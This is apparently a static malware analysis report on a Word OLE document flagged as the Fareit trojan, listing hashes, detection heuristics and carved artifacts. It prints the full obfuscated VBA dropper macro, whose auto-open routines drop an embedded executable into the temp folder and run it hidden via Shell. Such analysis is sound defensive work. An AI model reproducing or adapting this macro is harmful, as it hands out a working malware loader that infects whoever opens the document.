Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a4e297ec1913f18b…

MALICIOUS

Office (OLE)

208.0 KB Created: 2016-02-22 11:38:00 Authoring application: Microsoft Office Word First seen: 2017-09-14
MD5: 2c3e357ee847be5fb95b6ce513b5b00f SHA-1: c5cb6683dee79951c7e26bd593dc9cf35bf3e680 SHA-256: a4e297ec1913f18b7fc4133b5b54b51e0d5809bcbe0e6e6ace6cf4dc095c1195
794 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing obfuscated VBA macros. The macros utilize functions like CreateObject and Shell to execute code, and they appear to be designed to download and run an embedded executable file. The presence of the 'Win.Trojan.Fareit-402' ClamAV detection further supports its malicious nature.

Heuristics 21

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Win.Trojan.Fareit-402 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Fareit-402
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim ite As Variant
ite = Shell(hfye, 0)
End Function
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set hfuBdgaVvw = CreateObject(FtqwVswq(23 + 64) & "ord.Application")
hfuBdgaVvw.Visible = bhgw
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set hfuBdgaVvw = CreateObject(FtqwVswq(23 + 64) & "ord.Application")
hfuBdgaVvw.Visible = bhgw
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    VYUQWD = "wkjd qwjdhkqwhjkqwg"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Function
Sub Workbook_Open()
    Yhbbgdgyw
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Function
Sub Auto_Open()
    Yhbbgdgyw
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    TYYYWE = "T" & TYYYWE + "P"
LLKKMN = Environ(TYYYWE) + YGBASDW
RTQCDW = FtqwVswq(41 + 5)
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2904 bytes
SHA-256: beaa5bf22120fee56c55a9191a6c6d8d7c09a391fd376cdaf6d8d0bada8ec4f2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
67 of 111 identifiers look randomly generated (e.g. 'kqwqwdqwdjkqlkqwd') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Bgywqewq()
    Yhbbgdgyw
End Sub
Sub Yhbbgdgyw()
Dim fdaa As Integer
Dim bhgw As Boolean, FDFWQD As String
bhgw = False
DFWCQDW = DatePart("yyyy", "11/10/7134")
DFWCQDW = Left(DFWCQDW, 1)
TYYYWE = "EM"
fdaa = CInt(DFWCQDW) - 8
On Error Resume Next
YGBASDW = Left("\wjh83\", 1)
TYYYWE = "T" & TYYYWE + "P"
LLKKMN = Environ(TYYYWE) + YGBASDW
RTQCDW = FtqwVswq(41 + 5)
RREW = RTQCDW + FtqwVswq(6 + 96 + fdaa)
RREW = RREW & "x" + FtqwVswq(10 + 91)
UUIIW = RTQCDW & FtqwVswq(-6 + 120) & FtqwVswq(5 + 110 + 1) + "f"

BBBVQWGD = LLKKMN + "fuewq" + UUIIW
DDDHUQWD = LLKKMN + "fbywuq" + UUIIW
FDFWQD = LLKKMN + "idd3" & RREW

VgfdVsq (BBBVQWGD)
VgfdVsq (DDDHUQWD)
Module1.Findat (2)
QWJDQ = LLKKMN + "fuewq" & ".rtf"
HYUQWD = "lkf lwkejflkhqjkwdq"

Set hfuBdgaVvw = CreateObject(FtqwVswq(23 + 64) & "ord.Application")
hfuBdgaVvw.Visible = bhgw
JUHFEW = "kqwdjqwkqlkqwd"
JBDASDS = "kqwqwddjkqlkqwd"
LQKWDHAS = "kqwasddjkqlkqwd"
VBHMQWD = "kqwqwdjkqlkqwd"
BCHJASD = "kqwdjqwdkqlkqwd"
UQWDGJHSBD = "kqwdqwjkqlkqwd"
KASJDLQW = "kqwdjkasdqlkqwd"
BHQJSDQ = "kqwdjkasdqlkqwd"
JQIWDHUQW = "kqwdjqww2kqlkqwd"
hfuBdgaVvw.Documents.Open (QWJDQ)
CBHJQHDBA = "kqd3rwdjkqlkqwd"
JQWBDWQ = "kqwdjkqsadlkqwd"
QUHDQBW = "kqwdj32dsakqlkqwd"
QJWDBKQW = "kqwd3fjkqlkqwd"
QBHFJB = "kqwdjkql3d1kqwd"
NQHJWBQ = "kqwdjkqlasdakqwd"
QBHJWQD = "kqwdjkqlqwd12kqwd"
QBHDWJWQ = "kqwdjkqqwlkqwd"
BHQVJQW = "kqwdjkqlksadqwd"
Module1.Findat (2)
HYUASGD = Module1.Trwnw(FDFWQD)
Module1.Findat (3)
hfuBdgaVvw.Quit
Set hfuBdgaVvw = Nothing
End Sub
Public Function FtqwVswq(ande As Integer)
    FtqwVswq = Chr(ande)
End Function
Sub Workbook_Open()
    Yhbbgdgyw
End Sub
Sub AutoOpen()
    VYUQWD = "wkjd qwjdhkqwhjkqwg"
    Bgywqewq
End Sub
Public Function VgfdVsq(fndj As String)
BCJHMA = "kqwdjkqlkqwd"
VBJQK = "kqwdqwdjkqlkqwd"
QWIDHQ = "kqwqwdqwdjkqlkqwd"
    ActiveDocument.SaveAs FileName:=fndj, FileFormat:=wdFormatRTF
    JUHFEW = "kqwdjkqlkqwd"
QBHJSA = "kqwdasdqwjkqlkqwd"
QJNWKD = "kqwqwddjkqlkqwd"
QIWUHDUWQ = "kqwdjasdkqlkqwd"
CHJBQWD = "kqwdjqwdkqlkqwd"
JBNSADNMBSAN = "kqqwdqwwdjkqlkqwd"
JQHWDKJQW = "kqwdjasdqkqlkqwd"
JBAHJWQ = "kqwdqadsjkqlkqwd"
JQHWBDJQ = "kqwdjkqwdqwqlkqwd"
End Function
Sub Auto_Open()
    Yhbbgdgyw
End Sub










Attribute VB_Name = "Module1"
Sub Findat(Torj As Long)
Dim Yuuw As Long
Dim Rtes As Long
NQWJDSD = ";qkwldjq kl"
Rtes = Torj + Timer
Yuuw = Rtes
Do While Timer < Yuuw
DoEvents
Loop
End Sub
Public Function Trwnw(hfye As String)
Dim ite As Variant
ite = Shell(hfye, 0)
End Function
embedded_office_00006250.exe embedded-pe Office MZ+PE at offset 0x6250 187824 bytes
SHA-256: 7232bb01bcb796ff46d976bc83f4688be5b422fa2b69c7907e3970f7a4047acc
Detection
ClamAV: Win.Trojan.Fareit-402
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1517668116/Ole10Native 154834 bytes
SHA-256: b715759a1fb12c82657dca92838086f1a99c0f32837852a56dc35af414240596
Detection
ClamAV: Win.Trojan.Fareit-402
Obfuscation or payload: likely
Carved artifact entropy is 7.52, consistent with packed or encrypted content.

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